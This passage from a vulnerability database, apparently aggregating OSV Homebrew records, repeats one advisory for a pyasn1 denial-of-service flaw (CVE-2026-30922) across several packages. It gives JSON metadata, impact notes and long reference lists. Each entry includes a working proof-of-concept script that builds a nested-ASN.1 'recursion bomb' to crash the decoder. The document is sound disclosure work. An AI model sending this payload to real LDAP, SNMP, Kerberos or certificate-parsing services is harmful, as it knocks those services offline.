    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "aws-shell",
            "purl": "pkg:brew/aws-shell"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.1.0"
                },
                {
                  "fixed": "0.2.2_12"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-aws-shell-CVE-2026-30922",
      "modified": "2026-10-31T18:50:42Z",
      "published": "2026-08-13T16:37:01Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-AWSCLI@1-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:37 – Updated: 2026-11-09 09:49 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "awscli@1",
            "purl": "pkg:brew/awscli%401"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.17.10"
                },
                {
                  "fixed": "1.44.60"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-awscli@1-CVE-2026-30922",
      "modified": "2026-11-09T09:49:12Z",
      "published": "2026-08-13T16:37:01Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-CERTSYNC-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:39 – Updated: 2026-10-08 01:07 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
